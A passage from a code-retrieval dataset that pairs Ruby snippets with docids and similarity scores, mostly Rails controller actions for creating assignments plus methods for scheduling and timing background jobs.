"2aa98058e8366c2b089a1af9bd3809fc", "score": "0.6052459", "text": "def create\n\t\t@activities = params[:guest][:activity_ids]\n assignment = Assignment.new(params[:guest_id], params[:activity_id])\n\n @activities.each do |a|\n if a != \"\"\n @assignment = Assignment.create(:guest_id => params[:assignments][:guest_id], :activity_id => a)\n # assigned_activity = Assignment.create(:guest_id => params[:guest_id], :activity_id => params[:activity_id])\n end\n end\n\n if @assignment.save\n flash[:notice] = \"Activity assigned.\"\n redirect_to guests_path\n else \n @message = \"Activity not assigned.\"\n end\n\n # redirect_to guests_path\n end", "title": "" }, { "docid": "00d90cd4e5c7235c7623c9d83586be86", "score": "0.60495216", "text": "def as_json(assignments)\n assignments.map {|assignment| serialize_assignment(assignment) }\n end", "title": "" }, { "docid": "640026fbad5d353f5169bf03e5b6377d", "score": "0.60471493", "text": "def create\n\t\t#render plain: params[:assignment].inspect\n\t\t@assignment = Assignment.new(assignment_params)\n\n#Save assignment if requirements met, else refresh the page.\n\t\tif (@assignment.save)\n\t\t\tredirect_to @assignment\n\t\telse\n\t\t\trender 'new'\n\t\tend \n\tend", "title": "" }, { "docid": "48152d7818b3d3d2f31956903449f52b", "score": "0.60391366", "text": "def create\n @case_assignment = CaseAssignment.new(case_assignment_params)\n\n respond_to do |format|\n if @case_assignment.save\n format.html { redirect_to @case_assignment, notice: 'Case assignment was successfully created.' }\n format.json { render :show, status: :created, location: @case_assignment }\n else\n format.html { render :new }\n format.json { render json: @case_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "573655177fceebe3af30d18bbbf7ec4d", "score": "0.60390383", "text": "def create\n AssignmentNotifier.create(@assignment)\n end", "title": "" }, { "docid": "873c10de77f7fc1801fa337c2127abd6", "score": "0.6024881", "text": "def assignment\n # Create assignment\n Relationship.create(assignment_parameters)\n \n # Get human readable assignment values\n @assignment_parts = assign_parts(params)\n end", "title": "" }, { "docid": "80d7435ff45c53a51f2530c1c2427d89", "score": "0.6020165", "text": "def create_permission_set_assignment(id:, **args)\n params = parameters(args) do\n required_params :user_id\n optional_params :user_id\n end\n request(:post, \"permissionSets/#{id}/assignments\", params)\n end", "title": "" }, { "docid": "a1a3a17b3eaa3269745a18535f4e3cf8", "score": "0.60197324", "text": "def create\n @assignment = Assignment.new(assignment_params)\n\n if @assignment.save\n redirect_to @teacher_index_path, notice: 'Assignment was successfully created.'\n else\n render :new\n end\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.60162824", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.60162824", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.60162824", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.60162824", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.60162824", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "9a21e0e1961d1b0d37a0f59807b4c3ef", "score": "0.6007793", "text": "def create\n @assignment = Assignment.new(assignment_params)\n respond_to do |format|\n @assignment.user_mengajukan = current_user.id\n if @assignment.save\n @get = Assignment.last\n format.html { redirect_to detail_assignments_path(@get.id), notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72191f5d2664d42c57ceef25b818d839", "score": "0.60068375", "text": "def assigned_params\n params.require(:assigned).permit(:grantor, :grantee, :relation, :can_grant)\n end", "title": "" }, { "docid": "d13177d62bd21faa4b91e6bf5a5eb8dd", "score": "0.60058033", "text": "def create\n @ingredient_assignment = IngredientAssignment.new(params[:ingredient_assignment])\n\n respond_to do |format|\n if @ingredient_assignment.save\n format.html { redirect_to @ingredient_assignment, notice: 'Ingredient assignment was successfully created.' }\n format.json { render json: @ingredient_assignment, status: :created, location: @ingredient_assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ingredient_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22c57846e574150217007a6cb0bd9b0a", "score": "0.6004057", "text": "def create\n @activity_participant_assignment = ActivityParticipantAssignment.new(activity_participant_assignment_params)\n\n respond_to do |format|\n if @activity_participant_assignment.save\n format.html { redirect_to @activity_participant_assignment, notice: 'Activity participant assignment was successfully created.' }\n format.json { render :show, status: :created, location: @activity_participant_assignment }\n else\n format.html { render :new }\n format.json { render json: @activity_participant_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df742fa23b62bec3bbdc9533f9327a1b", "score": "0.60013735", "text": "def create\n @assignment_standard_assignment = Assignment::StandardAssignment.new(params[:assignment_standard_assignment])\n\n respond_to do |format|\n if @assignment_standard_assignment.save\n format.html { redirect_to @assignment_standard_assignment, notice: 'Standard assignment was successfully created.' }\n format.json { render json: @assignment_standard_assignment, status: :created, location: @assignment_standard_assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment_standard_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "673fe781af4a5ab8836cd3bc49c02fc9", "score": "0.5977537", "text": "def create\n @group_assignment = GroupAssignment.new(group_assignment_params)\n\n respond_to do |format|\n if @group_assignment.save\n format.html { redirect_to @group_assignment, notice: \"Group assignment was successfully created.\" }\n format.json { render :show, status: :created, location: @group_assignment }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @group_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65d424f2523e41aeb8e51f5221e1d393", "score": "0.59770405", "text": "def create\n @assignment_status = AssignmentStatus.new(params[:assignment_status])\n\n respond_to do |format|\n if @assignment_status.save\n format.html { redirect_to @assignment_status, notice: 'Assignment status was successfully created.' }\n format.json { render json: @assignment_status, status: :created, location: @assignment_status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment_status.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "593a229ba1e3caf4daeb36b72c3a29be", "score": "0.59767646", "text": "def create\n @group_assignment = GroupAssignment.new(group_assignment_params)\n\n respond_to do |format|\n if @group_assignment.save\n format.html { redirect_to @group_assignment, notice: 'Group assignment was successfully created.' }\n format.json { render :show, status: :created, location: @group_assignment }\n else\n format.html { render :new }\n format.json { render json: @group_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7054f159ecb38a489a6171f9674c951e", "score": "0.5976663", "text": "def create\n @assignment = @course.assignments.new(params[:assignment])\n @assignment.save\n @outline = Outline.where(\"course_id = ?\", @course.id).all\n @outline.empty? ? i = 1 : i = @outline.sort_by {|x| x.order_number}.last.order_number += 1\n @content = Outline.new(:course_id => @course.id, :content_type => 'Assignment', :order_number => i, :content_id => @assignment.id)\n @content.save\n @users = User.enrolled(@course)\n @users.each do |u|\n @enrollment = Enrollment.where(:user_id => u.id, :course_id => @course.id).first\n Homework.create(:enrollment_id => @enrollment.id, :assignment_id => @assignment.id, :user_id => u.id)\n end\n \n respond_to do |format|\n if @assignment.save\n format.html { redirect_to edit_course_path(@course), notice: 'Assignment was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "title": "" }, { "docid": "3f5150cd27981ab6d9bef2fd75047af2", "score": "0.59698457", "text": "def assignment_params\n params.require(:assignment).permit(:name, :basic_info, :course_id, :due)\n end", "title": "" }, { "docid": "fe1b0746c2d6d45dda859fa6f0bc58c2", "score": "0.5968059", "text": "def create\n @assignment = Assignment.new(assignment_params)\n @plan = Plan.find(params[:plan_id])\n @assignment.plan_id = @plan.id\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to plan_path(@plan), notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb1ffceed236acbaeb0c75bac0dd9bd8", "score": "0.5966675", "text": "def create\n @assignment = Assignment.new\n @assignment.build_assignment_stat\n @assignment.build_submission_rule\n @assignment.transaction do\n begin\n @assignment, new_required_files = process_assignment_form(@assignment)\n @assignment.token_start_date = @assignment.due_date\n @assignment.token_period = 1\n rescue Exception, RuntimeError => e\n @assignment.errors.add(:base, e.message)\n new_required_files = false\n end\n unless @assignment.save\n @assignments = Assignment.all\n @sections = Section.all\n @clone_assignments = Assignment.where(vcs_submit: true)\n .order(:id)\n render :new\n return\n end\n if params[:persist_groups_assignment]\n clone_warnings = @assignment.clone_groupings_from(params[:persist_groups_assignment])\n unless clone_warnings.empty?\n clone_warnings.each { |w| flash_message(:warning, w) }\n end\n end\n if @assignment.save\n flash_message(:success, I18n.t('assignment.create_success'))\n end\n if new_required_files && !MarkusConfigurator.markus_config_repository_hooks.empty?\n # update list of required files in all repos only if there is a hook that will use that list\n UpdateRepoRequiredFilesJob.perform_later(current_user)\n end\n end\n redirect_to action: 'edit', id: @assignment.id\n end", "title": "" }, { "docid": "31ac4833b85bc1cec3e3f5bc7b65f160", "score": "0.596068", "text": "def new\n if !current_user.instructor?(@course)\n return\n end\n\n @assignment = Assignment.new\n @assignment.name = \"New Assignment\"\n @assignment.reviews_required = 4\n\n if @course.get_students.length <= 4\n @assignment.reviews_required = @course.get_students.length - 1\n end\n\n if @assignment.reviews_required <= 0\n @assignment.reviews_required = 0\n end\n\n @assignment.manual_assignment = true\n @assignment.draft = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end", "title": "" }, { "docid": "335f102aea8d5d68733a1215b95f8fb2", "score": "0.5958584", "text": "def assignment_params\n params.require(:assignment).permit(:number)\n end", "title": "" }, { "docid": "41f08374080e65724923bab24207f8e6", "score": "0.5947737", "text": "def assignments\n\t\t@course = Course.find(params[:id])\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.json\n\t\tend\n\tend", "title": "" }, { "docid": "e15e22feddf17d9ef56349b247c04053", "score": "0.5927507", "text": "def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignments }\n end\n end", "title": "" }, { "docid": "2143f1c485fa8e043d04efa4b4489898", "score": "0.59213895", "text": "def create\n\t\t@assignment = Assignment.new(params[:assignment])\n\t\t@course = @assignment.course\n\t\t\n\t\t# Check permissions\n\t\tif (not @current_user.courses.include?(@course)) && (not @current_user.is_administrator?)\n\t\t\tredirect_to root_path, notice: \"Access Denied\"\n\t\t\treturn\n\t\tend\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @assignment.save\n\t\t\t\tLogsController.createAssignment(@current_user, @assignment)\n\n\t\t\t\tformat.html { redirect_to course_path(@course), :flash => {:success => \"Assignment was successfully created.\"}}\n\t\t\telse\n\t\t\t\t@assignment_types = @course.assignment_types\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "70af1b07f631ce6cd65922e2c2af667f", "score": "0.5915702", "text": "def assignment_params\n params.require(:assignment).permit(:assignment_id, :assignment_name, :details, :priority, :date_created, :date_due, :is_complete, :grade_received, :select_course)\n end", "title": "" }, { "docid": "e003b43f817e97071c793e4440c598a0", "score": "0.5911432", "text": "def new\n @assignment = Assignment.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end", "title": "" }, { "docid": "1c3f223b3e98b16dadce139f0aa5dcd2", "score": "0.59079206", "text": "def goto_assignments\n goto_controller('Assignments')\n end", "title": "" }, { "docid": "455a7c076af952decd2e5d9d64ab9ab7", "score": "0.5907022", "text": "def create\n # transform dates from string to DateTime\n params[:assignment].strptime_params! ['due', 'late']\n \n files = params[:assignment][:files]\n\n # remove extra params\n params[:assignment].select!{ |key, val| not ['files'].include? key }\n\n # save any added files\n @assignment = Assignment.new(params[:assignment])\n \n respond_to do |format|\n if @assignment.save\n # add assignment to related section\n @section.assignments << @assignment\n @section.save\n format.html { redirect_to section_assignment_path(@section, @assignment), notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11c8e25a33c00d72c22b779548fd6d6e", "score": "0.589561", "text": "def index\n\t\t@assignments = Assignment.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @assignments }\n\t\tend\n\tend", "title": "" }, { "docid": "4899169b92b1971c61a2c1bf4aa15bd5", "score": "0.5894578", "text": "def post\n frm.button(:value=>\"Post\").click\n AssignmentsList.new(@browser)\n end", "title": "" }, { "docid": "4ca32075254765cb52483a56a4a23767", "score": "0.58868146", "text": "def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end", "title": "" }, { "docid": "4ca32075254765cb52483a56a4a23767", "score": "0.58868146", "text": "def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end", "title": "" }, { "docid": "a2266a644b82ccc93ee22d40b435128b", "score": "0.58838546", "text": "def create_assignments\n self.assignments.each do |a|\n #want to keep the history of responses even if the question no longer applies.\n #it could be that the question was answered in a prior rotation.\n a.destroy unless a.responded\n end\n assigned_users = User.scoped\n assigned_users =assigned_users.where(:rotation => self.rotation)unless rotation == nil\n assigned_users =assigned_users.where(:year => self.year) unless year == nil\n make_assignments(assigned_users)\n clear_old_assignments\n end", "title": "" }, { "docid": "e6112e4cd1d966d7ee9c89c4f00840c9", "score": "0.58789766", "text": "def new\n @task = Task.find(params[:task_id])\n @project = @task.project\n @assignment = @task.assignments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "title": "" } ]
aa735cc6a7ced2fb23f0351a6388da9a
Fecha en que se ejecutara el job, es la fecha hasta del validez del paquete o promocion
[ { "docid": "50604e8c72724b3eacaa08c23dcc5603", "score": "0.6026814", "text": "def fecha_validez\n run_at = self.valid_until\n end", "title": "" } ]
[ { "docid": "1dfa5e643313a0179e2efcfeca2e8bed", "score": "0.6608129", "text": "def execute(job, time)\n end", "title": "" }, { "docid": "ca8058b83c9ab6fbff65c9ea3ca519ba", "score": "0.6333887", "text": "def ejecutarEnFecha(empleado,fecha)\n time = Time.new\n cheque = Cheque.new\n fecha1 = time.day.to_s + \"/\" +time.month.to_s+\"/\"+time.year.to_s\n if (fecha1 == fecha)\n cheque.empleado = empleado\n cheque\n end\n cheque\n end", "title": "" }, { "docid": "b11feca65d7928f0897b5a01d9f086fb", "score": "0.62278634", "text": "def scheduled?() job && job.run_at > job.created_at end", "title": "" }, { "docid": "74fcaaf941c54fb8e0b44aef0b30eba1", "score": "0.6207068", "text": "def executionstart\n if read_attribute(:executionstart).class == Date\n read_attribute(:executionstart).to_time\n else \n read_attribute(:executionstart)\n end\n end", "title": "" }, { "docid": "2f330f5e75508f6c2cd57fd9cffb2c65", "score": "0.6049582", "text": "def calculate_scheduled_executions\n if self.onetime?\n self.scheduled_executions = 1\n elsif self.deadline\n #make sure that newly created tasks have a start date\n started_at = self.created_at ? self.created_at.to_date : Date.today\n if self.daily?\n self.scheduled_executions = (self.deadline - started_at).ceil\n elsif self.weekly?\n self.scheduled_executions = ((self.deadline - started_at)/7).ceil\n elsif self.monthly?\n self.scheduled_executions = ((self.deadline - started_at)/30).ceil\n end\n else\n self.scheduled_executions = 0\n end\n end", "title": "" }, { "docid": "3f72e3e047346331ceb2564cce8430d6", "score": "0.5972482", "text": "def scheduled?; end", "title": "" }, { "docid": "14f80d0519e881ead276aa3d148c72de", "score": "0.59641325", "text": "def enqueue_first_job\n user_time_zone = self.user.time_zone\n todays_time = Time.now.in_time_zone(user_time_zone)\n\n #check if today delivery is possible\n todays_delivery_time = Time.new(todays_time.year, todays_time.month, todays_time.day, self.delivery_time_hours, 0, 0, Time.now.in_time_zone(user_time_zone).utc_offset)\n enqueue_day = ((todays_time - todays_delivery_time) > 0) ? todays_time.tomorrow.day : todays_time.day\n\n #delivery time\n dtime = Time.new(todays_time.year, todays_time.month, enqueue_day, self.delivery_time_hours, 0, 0, Time.now.in_time_zone(user_time_zone).utc_offset)\n #dtime = Time.new(todays_time.year, todays_time.month, enqueue_day , 0 , 11 , 0, Time.zone_offset(user_time_zone))\n\n logger.debug \"The delivery time=======>\" + dtime.to_s\n\n j = Job.create(:execution_time => dtime.utc, :status => \"enqueued\", :message => self.subscription_message, :recipient_number => self.user.phone)\n dj = self.delay(:run_at => dtime.utc).send_text_job(self, user_time_zone, j)\n j.delayed_job_id = dj.id\n j.save\n\n self.jobs << j\n\n end", "title": "" }, { "docid": "133087a4dd3d3321e41ab8c0e118f7aa", "score": "0.58874595", "text": "def last_job_datetime\n jobs.backup_type.terminated.last.try(:end_time)\n end", "title": "" }, { "docid": "96e79aa0e59d17fcfbfb038bc0b66be6", "score": "0.588302", "text": "def next_execute_time\n @trigger.next_execute_time\n end", "title": "" }, { "docid": "c5d8c358d4c839ff37ba8e533ce78e80", "score": "0.58432853", "text": "def job?; end", "title": "" }, { "docid": "3f86d2de2e25735147401955decf96cc", "score": "0.57787365", "text": "def run_now\n job = PeriodicJob.find(params[:id])\n job.update_attribute(:next_run_at, Time.now) if job.next_run_at.present?\n flash[:notice] = t 'periodic_jobs.run_now'\n redirect_to periodic_jobs_path\n end", "title": "" }, { "docid": "e83f028681bb03ebfd99cbba5b128b3f", "score": "0.5766322", "text": "def exec_time\n # Initialize a nil value to something meaningful\n @exec_time ||= 0\n @exec_time\n end", "title": "" }, { "docid": "b62958888fbd9b4584d3f715b3544fed", "score": "0.57638407", "text": "def when_is_task_finished\n Date.today+30\n\n end", "title": "" }, { "docid": "203bf500b6b20fede83d6dcf477343d9", "score": "0.5748628", "text": "def start_time\n self.fecha\n end", "title": "" }, { "docid": "1cbe52a2228600ca2382023457e19417", "score": "0.5745011", "text": "def base_date\n self.job.close_on || self.job.created_at.to_date\n end", "title": "" }, { "docid": "ee6844f128e1edcf7a8e8b254148c641", "score": "0.5737588", "text": "def next_schedule_run_date_time\n return @next_schedule_run_date_time\n end", "title": "" }, { "docid": "fc112ba5613154174d2c78082784c37f", "score": "0.5733627", "text": "def launch_datetime; nil; end", "title": "" }, { "docid": "c68749ffebc85ee12842a007a64860bf", "score": "0.57170266", "text": "def run_now\n job = PeriodicJob.find(params[:id])\n job.update_attribute(:next_run_at, Time.now) if job.next_run_at.present?\n flash[:notice] = t 'periodic_job.run_now'\n redirect_to periodic_jobs_path\n end", "title": "" }, { "docid": "5d0458c0af3ad39753e601a87c534ef2", "score": "0.56915295", "text": "def create\n\n @job = Job.new(params[:job]) \n \n dt_time = params[:job][\"date_from(4i)\"] + \":\" + params[:job][\"date_from(5i)\"] + \" \" + (params[:job][\"date_from(6i)\"].to_i == 0 ? \"AM\" : \"PM\")\n dt = params[:parents][:scheduler] + \" \" + dt_time\n \n# puts \"#{dt_time}================dt_time==\"\n# puts \"#{dt}===============dt\"\n \n date_to = params[:job][\"date_to(4i)\"] + \":\" + params[:job][\"date_to(5i)\"] + \" \" + (params[:job][\"date_to(6i)\"].to_i == 0 ? \"AM\" : \"PM\") \n dt_to = params[:parents][:scheduler] + \" \" + date_to\n \n# puts \"#{date_to}=======date_to=======\"\n# puts \"#{dt_to}==========dt_to========\" \n# \n# puts \"#{dt}====dt==============#{dt_to}=======dt_to==\"\n# puts \"#{dt.to_datetime}====sss===#{Time.now.to_s(:long).to_datetime}==ss===#{Time.now}====ss=\"\n\n \n if dt.to_datetime < Time.now.to_s(:long).to_datetime\n flash[:error] = \"A job cannot occur in the past.\"\n# flash[:error] = \"#{dt.to_datetime}===dt.to_datetime===#{Time.now.to_s(:long).to_datetime}===Time.now.to_s(:long).to_datetime====#{Time.now}====time.now=\"\n redirect_to :back\n return \n end\n \n if params[:sitters].blank? || params[:sitters].nil?\n flash[:error] = \"Please select at least one sitter!\"\n redirect_to :back\n return\n end\n \n @job.date_from = dt.to_datetime\n @job.date_to = dt_to.to_datetime\n @request_sitter = []\n @request = @job.requests.build\n @parent = Parent.find(params[:parent_id])\n \n booked_sitters = []\n params[:sitters].each do |s|\n \n j = Job.find(:all, :conditions => [\"jobs.sitter_id = ? AND ((jobs.date_from between ? AND ?) OR (jobs.date_to between ? AND ?) OR (? between jobs.date_from AND jobs.date_to) OR (? between jobs.date_from AND jobs.date_to) OR (jobs.date_from = ?) OR (jobs.date_to = ?))\", s, @job.date_from, @job.date_to, @job.date_from, @job.date_to, @job.date_from, @job.date_to, @job.date_from, @job.date_to])\n unless j.blank?\n j.each do |r|\n temp_request = Request.find_by_job_id(r.id)\n unless temp_request.nil?\n temp2 = RequestSitter.find_by_sql(\"SELECT state AS status FROM request_sitters WHERE request_id = '#{temp_request.id}'\")[0]\n if temp2.status == 'accepted'\n booked_sitters << s\n end\n end\n end\n end\n end\n \n unless booked_sitters.blank?\n session[:booked_sitters] = booked_sitters\n flash[:error] = \"At least one of your sitters is booked during that time.\"\n redirect_to :back\n return\n end\n \n @job.parent = @parent\n if @job.save && @request.save\n params[:sitters].each do |s|\n @request_sitter << RequestSitter.create(:sitter => Sitter.find(s), :request => @request) \n Notifications.deliver_job_notice(Sitter.find(s), current_user, @job ,params[:message][:message]) if (Sitter.find(s).profile.email == true)\n Notifications.deliver_job_sms_notice(Sitter.find(s), current_user, @job ,params[:message][:message]) if (Sitter.find(s).profile.text_message == true)\n if (Sitter.find(s).underage?)\n if Sitter.find(s).consenting_parent.notify_parent_request \n Notifications.deliver_underaged_job_request(Sitter.find(s), current_user, @job, params[:message][:message]) \n end\n end\n end \n\n session['wall_booked'] = 'wall_job'\n flash[:notice] = 'Job was successfully created.'\n redirect_back_or_default(dashboard_parent_path(current_user))\n \n else\n render :action => \"new\" \n end\n \n rescue \n flash[:error]= \"Please select at least one sitter!\"\n redirect_to :back\n\n end", "title": "" }, { "docid": "eafe2ee21017abc104c20e55270f5750", "score": "0.5676433", "text": "def execute_duration\n 10.days\n end", "title": "" }, { "docid": "9f2aaff46d0de7e86dffe18a3bab23ab", "score": "0.5676259", "text": "def execute_time\n @trigger.execute_time\n end", "title": "" }, { "docid": "f886064b62a96ffb93a072b6523ff866", "score": "0.5655245", "text": "def processing_time\n if processing_completed_at.present? and processing_started_at.present?\n processing_completed_at - processing_started_at\n end\n end", "title": "" }, { "docid": "4e767796ea38f101d7269fc460a22c1e", "score": "0.56277454", "text": "def job \n @job\n end", "title": "" }, { "docid": "c2c7a9e93d26073e87754f7244afce84", "score": "0.5623642", "text": "def update_job\n return unless job\n job.update_attribute(:run_at, move_at.utc)\n end", "title": "" }, { "docid": "f301514d9aa81405c875d9eb7b53d7ad", "score": "0.56201804", "text": "def time_taken\n # If the #time_taken method is being called for but the job doesn't seem to have started/completed\n # reload to see if it has\n self.reload if started_at.nil? || completed_at.nil?\n\n completed_at - started_at if completed_at && started_at\n end", "title": "" }, { "docid": "e27092559179a53a6d15ff7e806d33e3", "score": "0.5618481", "text": "def job\n @job\n end", "title": "" }, { "docid": "e27092559179a53a6d15ff7e806d33e3", "score": "0.5618481", "text": "def job\n @job\n end", "title": "" }, { "docid": "8be832f98b3ab45e8c72740ad324accb", "score": "0.56174433", "text": "def last_run_date_time\n return @last_run_date_time\n end", "title": "" }, { "docid": "80cf290cf00fdd8b2d7725ebe70e6edb", "score": "0.56152177", "text": "def enqueue job\n self.run_at = job.run_at\n update_attribute :run_at, job.run_at\n end", "title": "" }, { "docid": "2c7b49dfb0da5a93aea3093b8e107d0e", "score": "0.5611552", "text": "def exec_time\r\n #initialize nil values to something meaningful\r\n @exec_time||=0\r\n return @exec_time\r\n end", "title": "" }, { "docid": "78c45d768ea32adff32c0d3fcb0696a2", "score": "0.5608092", "text": "def perform_now(job_class, *job_args)\n self.create(class_name: job_class, args: job_args).perform_now\n end", "title": "" }, { "docid": "91b74257f91f574ff209636fdddb7b8a", "score": "0.5583185", "text": "def siempre_es_hoy\n self.fecha = Time.now if not fecha\n end", "title": "" }, { "docid": "79011c1a58fd4612e4660c8ae1186096", "score": "0.5563737", "text": "def job_duration\n return 0.0 unless perform_ended_at && perform_started_at\n\n (perform_ended_at - perform_started_at).ceil(3)\n end", "title": "" }, { "docid": "3e2ef5c421a35daa6d71e12b9fd914e4", "score": "0.5558886", "text": "def scheduled_at; end", "title": "" }, { "docid": "31d80503fb5cb610293828c4a3209287", "score": "0.55573905", "text": "def last_time\n execution_time = SidekiqScheduler::RedisManager.get_job_last_time(name)\n\n relative_time(Time.parse(execution_time)) if execution_time\n end", "title": "" }, { "docid": "fcaedd9c98cc266c199e841b26ad5e42", "score": "0.5545403", "text": "def timestamp\n t = prerequisite_tasks.collect { |pre| pre.timestamp }.max\n return t if t\n if remote\n create_remote_task\n Time.parse rget(\"timestamp\")\n else\n Time.now\n end\n end", "title": "" }, { "docid": "23546ee4f09e630ccdb1df141233230a", "score": "0.55449003", "text": "def job_completed(op)\n jobs = op.jobs.sort_by { |job| job.updated_at }\n jobs.last.updated_at\n end", "title": "" }, { "docid": "20844b014cc237126df73567ccc47238", "score": "0.5532617", "text": "def timestamp #:nodoc:\n File.exist?(last_successful_run_file) ? File.mtime(last_successful_run_file) : Rake::EARLY\n end", "title": "" }, { "docid": "09085e6e9ac91b878065216923332123", "score": "0.5530927", "text": "def run!\r\n TaskServerLogger.instance.info \"Executing job id #{self.id}, #{self.to_s}...\"\r\n begin\r\n eval(self.job)\r\n self.last_run_result = \"OK\"\r\n TaskServerLogger.instance.info \"Job completed successfully\"\r\n rescue Exception\r\n err_string = \"'#{self.job}' could not run: #{$!.message}\\n#{$!.backtrace}\" \r\n TaskServerLogger.instance.error err_string\r\n puts err_string \r\n self.last_run_result = err_string.slice(1..500)\r\n end\r\n self.last_run_at = Time.zone.now\r\n self.next_run_at = nil\r\n self.save \r\n \r\n # ...and persist the next run of this job if one exists\r\n next_job = self.calc_next_run\r\n next_job.save unless next_job.nil?\r\n end", "title": "" }, { "docid": "588e0d86734d3e8eeecedc502ebc4c44", "score": "0.55197805", "text": "def job_to_trigger\n\n @mutex.synchronize do\n if @jobs.size > 0 && Time.now.to_f >= @jobs.first.at\n @jobs.shift\n else\n nil\n end\n end\n end", "title": "" }, { "docid": "e2c1fffd310f61afd2b9156ed67fcf51", "score": "0.5512554", "text": "def exec_time\n # Initialize nil values to something meaningful\n @exec_time ||= 0\n return @exec_time\n end", "title": "" }, { "docid": "a4afb4d15c6930db3735dc1b84eaf4c3", "score": "0.5508526", "text": "def schedule_time; end", "title": "" }, { "docid": "a4afb4d15c6930db3735dc1b84eaf4c3", "score": "0.5508526", "text": "def schedule_time; end", "title": "" }, { "docid": "f2ae04778403047616f8c2ec5039fea1", "score": "0.5507331", "text": "def job \n @job\n end", "title": "" }, { "docid": "cc463673b0ea1e3fcd4c3075a1aa7823", "score": "0.549016", "text": "def launch_time; nil; end", "title": "" }, { "docid": "fcc9c7c623b4de6f4115996aeb9a3098", "score": "0.54859054", "text": "def create\n\n\n @job = Job.new(params[:job])\n\n @job.user_id = current_user.id\n @job.status = JOBS_STATUS[:PENDING]\n\n @job.start_time = DateTime.now\n\n\n respond_to do |format|\n if @job.save\n\n # ahora voy a poner el job en la cola de prescheduling\n @sqs = Aws::Sqs.new(AMAZON_ACCESS_KEY_ID, AMAZON_SECRET_ACCESS_KEY)\n @queue = @sqs.queue(PRESCHEDULING_QUEUE)\n @msg = SCHEDULE_JOB_MSG + ':' + @job.id.to_s\n @queue.send_message(@msg)\n\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n\n\n end", "title": "" }, { "docid": "9915677e93829ef0314710cc501f03b8", "score": "0.5482357", "text": "def process_date\n @process_date ||= @body[:processedat] && Time.parse(@body[:processedat])\n end", "title": "" }, { "docid": "f9ed93ae89bb71e216ae0e911631862d", "score": "0.54773563", "text": "def processing_time\n self[:processing_time].try(:to_date)\n end", "title": "" }, { "docid": "ff7ce63d853e818e90060bd531cbea2b", "score": "0.54764885", "text": "def scheduled\n end", "title": "" }, { "docid": "4a85b8dccbadb9b6b5ab3ddb64f72bf2", "score": "0.5473812", "text": "def next_backup\n next_task = Time.new(3000) # Set time to year 3000.\n @tasks.each do |task|\n if task.next_backup < next_task\n next_task = task.next_backup\n end\n end\n \n ntime = (next_task - Time.now)\n # Check for negative integers.\n if ntime < 0 then ntime = 0 end\n @logger.info \"Sleeping: #{(ntime.round(2))} seconds...\"\n ntime\n end", "title": "" }, { "docid": "36e55b6ed14b040009567ef06935e96a", "score": "0.54678464", "text": "def update_job\n Delayed::Backend::ActiveRecord::Job.find(job_id).update_attribute(:run_at, created_at + duration_minutes.minutes)\n end", "title": "" }, { "docid": "cc2e5552b254dfd428e049aa392b372a", "score": "0.54663426", "text": "def job\n job = @job\n end", "title": "" }, { "docid": "e4aefaa7ae000cf17c7f31c88e88cbf8", "score": "0.54632133", "text": "def execute?\n if !self.due_today?\n return false\n end\n\n if self.executed_today?\n return false\n end\n\n return true\n end", "title": "" }, { "docid": "440c9b5e849c8f9f4d30eb3ddad09db3", "score": "0.545988", "text": "def next_run_time\n check_for_active_task\n @task.NextRunTime\n end", "title": "" }, { "docid": "440c9b5e849c8f9f4d30eb3ddad09db3", "score": "0.545988", "text": "def next_run_time\n check_for_active_task\n @task.NextRunTime\n end", "title": "" 